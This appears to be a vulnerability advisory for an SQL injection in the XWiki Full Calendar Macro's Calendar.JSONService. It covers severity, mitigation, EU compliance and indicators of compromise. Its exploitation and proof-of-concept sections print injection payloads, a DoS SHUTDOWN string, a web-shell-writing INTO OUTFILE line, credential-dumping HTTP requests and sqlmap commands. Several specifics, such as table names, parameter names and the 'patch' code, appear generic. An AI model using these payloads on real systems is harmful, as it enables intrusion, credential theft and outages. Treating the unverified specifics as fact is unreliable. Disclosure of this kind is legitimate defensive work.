Description
XWiki Full Calendar Macro displays objects from the wiki on the calendar. Prior to version 2.4.5, users with the right to view the Calendar.JSONService page (including guest users) can exploit a SQL injection vulnerability by accessing database info or starting a DoS attack. This issue has been patched in version 2.4.5.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2026-1699 (CVE-2025-65091)
XWiki Full Calendar Macro SQL Injection Vulnerability
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
EUVD-2026-1699 (CVE-2025-65091) is a critical SQL injection (SQLi) vulnerability in the XWiki Full Calendar Macro, a plugin for the XWiki platform that enables calendar-based visualization of wiki objects. The flaw exists in the Calendar.JSONService page, which improperly sanitizes user-supplied input before passing it to database queries.
Severity Analysis (CVSS 3.1: 10.0)
The CVSS v3.1 Base Score of 10.0 (Critical) is justified by the following metrics:
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over HTTP/HTTPS without physical/logical access. |
| Attack Complexity (AC) | Low (L) | No specialized conditions required; trivial to exploit. |
| Privileges Required (PR) | None (N) | No authentication required; guest users can exploit. |
| User Interaction (UI) | None (N) | No user interaction needed; fully automated exploitation possible. |
| Scope (S) | Changed (C) | Impact extends beyond the vulnerable component (e.g., database compromise). |
| Confidentiality (C) | High (H) | Full database access, including sensitive wiki content, user credentials, and system data. |
| Integrity (I) | High (H) | Arbitrary SQL execution allows data manipulation, deletion, or insertion. |
| Availability (A) | High (H) | DoS via resource exhaustion (e.g., DROP TABLE, infinite queries). |
Risk Classification
- Exploitability: High (Publicly accessible, no authentication, low complexity)
- Impact: Critical (Full system compromise, data exfiltration, DoS)
- Likelihood of Exploitation: High (Automated scanners, script kiddies, APTs)
2. Potential Attack Vectors & Exploitation Methods
Attack Surface
The vulnerability is exposed via the Calendar.JSONService endpoint, which processes calendar event queries. Attackers can inject malicious SQL payloads through:
- HTTP GET/POST parameters (e.g.,
?query=SELECT...) - JSON payloads in API requests (if the service accepts structured input)
Exploitation Techniques
A. Blind SQL Injection (Time-Based)
- Objective: Extract database schema, user credentials, or sensitive data.
- Method:
' OR (SELECT SLEEP(5) FROM dual WHERE 1=1) --- Measures response time to infer data (e.g.,
IF (SUBSTRING(password,1,1)='a', SLEEP(5), 0)).
- Measures response time to infer data (e.g.,
B. Union-Based SQL Injection
- Objective: Directly exfiltrate data via query results.
- Method:
' UNION SELECT 1,2,3,username,password,6 FROM xwiki_users --- Returns usernames and password hashes in calendar event fields.
C. Error-Based SQL Injection
- Objective: Force database errors to leak information.
- Method:
' AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables)) --- Triggers errors revealing table names.
D. Denial-of-Service (DoS)
- Objective: Crash the database or exhaust resources.
- Method:
'; SHUTDOWN --- Terminates the database service (if supported).
- Resource exhaustion:
'; SELECT BENCHMARK(1000000000,MD5(NOW())) --
E. Remote Code Execution (RCE) via Database Functions
- Objective: Execute arbitrary commands (if database supports it).
- Method (MySQL Example):
'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php' --- Writes a web shell to the server (requires write permissions).
Exploitation Tools
- Manual: Burp Suite, OWASP ZAP,
sqlmap(automated exploitation). - Automated:
sqlmapcommand:sqlmap -u "http://target/xwiki/bin/view/Calendar/JSONService?query=1" --batch --dbs
3. Affected Systems & Software Versions
Vulnerable Software
- Product:
macro-fullcalendar(XWiki plugin) - Vendor:
xwiki-contrib - Affected Versions: All versions prior to 2.4.5
- Fixed Version: 2.4.5 (released in the patch commit
5fdcf06a05015786492fda69b4d9dea5460cc994)
Dependencies & Impacted Environments
- XWiki Platform: Any XWiki instance using the vulnerable macro (common in enterprise wikis, documentation systems).
- Database Backends: MySQL, PostgreSQL, H2, or other SQL-compliant databases (exploitation methods vary by DBMS).
- Deployment Scenarios:
- Public-facing wikis (highest risk; unauthenticated access).
- Internal wikis (lateral movement risk if compromised).
- Cloud-hosted XWiki instances (shared responsibility model applies).
4. Recommended Mitigation Strategies
Immediate Actions
-
Upgrade to Fixed Version
- Patch: Apply
macro-fullcalendar 2.4.5or later. - Verification: Check commit
5fdcf06a05015786492fda69b4d9dea5460cc994for input sanitization fixes.
- Patch: Apply
-
Temporary Workarounds (if patching is delayed)
- Disable the Macro:
- Remove or restrict access to
Calendar.JSONServicevia XWiki permissions.
- Remove or restrict access to
- Web Application Firewall (WAF) Rules:
- Block SQLi patterns (e.g.,
UNION,SELECT,SLEEP,--). - Example ModSecurity rule:
SecRule ARGS "@detectSQLi" "id:1000,deny,status:403,msg:'SQL Injection Attempt'"
- Block SQLi patterns (e.g.,
- Database-Level Protections:
- Restrict the XWiki database user to least privilege (no
DROP,SHUTDOWN). - Enable query logging to detect exploitation attempts.
- Restrict the XWiki database user to least privilege (no
- Disable the Macro:
-
Network-Level Protections
- Isolate XWiki Instances: Place behind a reverse proxy with rate limiting.
- Segmentation: Restrict access to internal wikis via VPN or IP whitelisting.
Long-Term Hardening
-
Input Validation & Parameterized Queries
- Ensure all database queries use prepared statements (e.g., Hibernate Criteria API in XWiki).
- Example fix (from the patch):
// Before (vulnerable): String query = "SELECT * FROM events WHERE id = " + userInput; // After (fixed): PreparedStatement stmt = connection.prepareStatement("SELECT * FROM events WHERE id = ?"); stmt.setString(1, userInput);
-
Least Privilege Principle
- Database User: Restrict to
SELECTonly (noINSERT,UPDATE,DELETE). - XWiki Permissions: Revoke guest access to
Calendar.JSONService.
- Database User: Restrict to
-
Regular Security Audits
- Static Analysis: Use tools like SonarQube, Checkmarx, or Semgrep to detect SQLi.
- Dynamic Testing: Fuzz endpoints with OWASP ZAP or Burp Suite.
- Dependency Scanning: Monitor for vulnerable plugins via Dependabot or Snyk.
-
Incident Response Planning
- Detection: Monitor for unusual database queries (e.g.,
SLEEP,UNION). - Containment: Isolate affected XWiki instances if compromised.
- Forensics: Preserve logs (web server, database, XWiki audit logs).
- Detection: Monitor for unusual database queries (e.g.,
5. Impact on the European Cybersecurity Landscape
Regulatory & Compliance Implications
- GDPR (General Data Protection Regulation):
- Risk of Data Breach: SQLi can expose personal data (PII), triggering Article 33 (72-hour breach notification).
- Fines: Up to €20 million or 4% of global revenue (whichever is higher) for non-compliance.
- NIS2 Directive (Network and Information Security):
- Critical Entities: XWiki is used in healthcare, finance, and government; a breach could disrupt essential services.
- Reporting Obligations: Mandatory incident reporting to CSIRTs (e.g., CERT-EU, national CERTs).
- DORA (Digital Operational Resilience Act):
- Financial Sector: XWiki is used in banks and insurance; SQLi could lead to operational disruption.
Threat Actor Interest
- Opportunistic Attackers: Automated bots (e.g., Mirai, Kinsing) scanning for vulnerable XWiki instances.
- APTs (Advanced Persistent Threats):
- State-Sponsored Groups: Targeting EU government wikis for espionage (e.g., APT29, Sandworm).
- Cybercriminals: Ransomware gangs (e.g., LockBit, BlackCat) exploiting SQLi for initial access.
- Insider Threats: Disgruntled employees or contractors with wiki access.
Sector-Specific Risks
| Sector | Risk Scenario |
|---|---|
| Government | Leak of classified documents, internal communications, or citizen data. |
| Healthcare | Exposure of patient records (HIPAA/GDPR violations). |
| Finance | Theft of financial data, transaction manipulation, or compliance breaches. |
| Education | Leak of student/faculty PII, research data, or exam materials. |
| Critical Infrastructure | Disruption of documentation systems (e.g., power grid, transportation). |
Geopolitical Considerations
- EU Cyber Resilience Act (CRA): XWiki, as a software product, may fall under CRA requirements for vulnerability disclosure.
- ENISA Coordination: The European Union Agency for Cybersecurity (ENISA) may issue advisories for critical vulnerabilities in widely used EU software.
6. Technical Details for Security Professionals
Root Cause Analysis
The vulnerability stems from improper input sanitization in the Calendar.JSONService component, where user-controlled input is directly concatenated into SQL queries. The patch (5fdcf06a05015786492fda69b4d9dea5460cc994) introduces:
- Parameterized Queries: Replaces string concatenation with prepared statements.
- Input Validation: Whitelisting of allowed characters in calendar queries.
- Output Encoding: Prevents secondary injection vectors (e.g., XSS via SQLi results).
Exploit Proof-of-Concept (PoC)
Step 1: Identify Target
- Locate the vulnerable endpoint:
GET /xwiki/bin/view/Calendar/JSONService?query=1 HTTP/1.1 Host: target.example.com
Step 2: Test for SQLi
- Time-Based Blind SQLi:
GET /xwiki/bin/view/Calendar/JSONService?query=1' AND (SELECT SLEEP(5)) -- HTTP/1.1- If the response is delayed by 5 seconds, the target is vulnerable.
Step 3: Extract Data
- Union-Based Exfiltration (MySQL Example):
GET /xwiki/bin/view/Calendar/JSONService?query=1' UNION SELECT 1,2,3,username,password,6 FROM xwiki_users -- HTTP/1.1- Returns usernames and password hashes in the JSON response.
Step 4: Automate with sqlmap
sqlmap -u "http://target/xwiki/bin/view/Calendar/JSONService?query=1" --batch --dbs --risk=3 --level=5
Forensic Indicators of Compromise (IoCs)
| Indicator | Description |
|---|---|
| Database Logs | Unusual queries containing UNION, SLEEP, SELECT, or DROP. |
| Web Server Logs | Repeated requests to Calendar.JSONService with SQL keywords. |
| XWiki Audit Logs | Failed login attempts or unauthorized access to sensitive pages. |
| Network Traffic | Outbound connections to attacker-controlled servers (data exfiltration). |
| File System | Unexpected files (e.g., web shells in /var/www/). |
Reverse Engineering the Patch
- Key Changes in
5fdcf06a05015786492fda69b4d9dea5460cc994:- Before:
String sql = "SELECT * FROM events WHERE title LIKE '%" + userInput + "%'"; - After:
String sql = "SELECT * FROM events WHERE title LIKE ?"; PreparedStatement stmt = connection.prepareStatement(sql); stmt.setString(1, "%" + userInput + "%");
- Before:
- Additional Fixes:
- Input length restrictions.
- Character whitelisting (e.g., only alphanumeric + spaces).
Advanced Exploitation Scenarios
- Chained Exploits:
- SQLi → XSS: Inject JavaScript via SQLi to steal session cookies.
- SQLi → RCE: If the database supports file writes (e.g., MySQL
INTO OUTFILE).
- Lateral Movement:
- Extract credentials from
xwiki_usersto pivot to other systems.
- Extract credentials from
- Persistence:
- Create a backdoor user via
INSERT INTO xwiki_users.
- Create a backdoor user via
Conclusion & Recommendations
Key Takeaways
- Critical Severity: EUVD-2026-1699 is a CVSS 10.0 vulnerability with remote, unauthenticated exploitation.
- High Impact: Enables data theft, DoS, and potential RCE in vulnerable XWiki instances.
- Widespread Risk: Affects government, healthcare, finance, and education sectors across the EU.
Action Plan for Organizations
- Patch Immediately: Upgrade to
macro-fullcalendar 2.4.5. - Harden Deployments: Apply WAF rules, least privilege, and input validation.
- Monitor & Detect: Deploy SIEM rules for SQLi patterns in XWiki logs.
- Compliance Check: Ensure GDPR/NIS2/DORA obligations are met post-patch.
- Threat Hunting: Search for IoCs in historical logs.
Final Note
This vulnerability underscores the criticality of secure coding practices in widely used open-source software. Organizations must prioritize patch management and proactive security testing to mitigate such high-risk flaws. Given the EU’s regulatory landscape, failure to address this could result in significant legal and financial consequences.
References: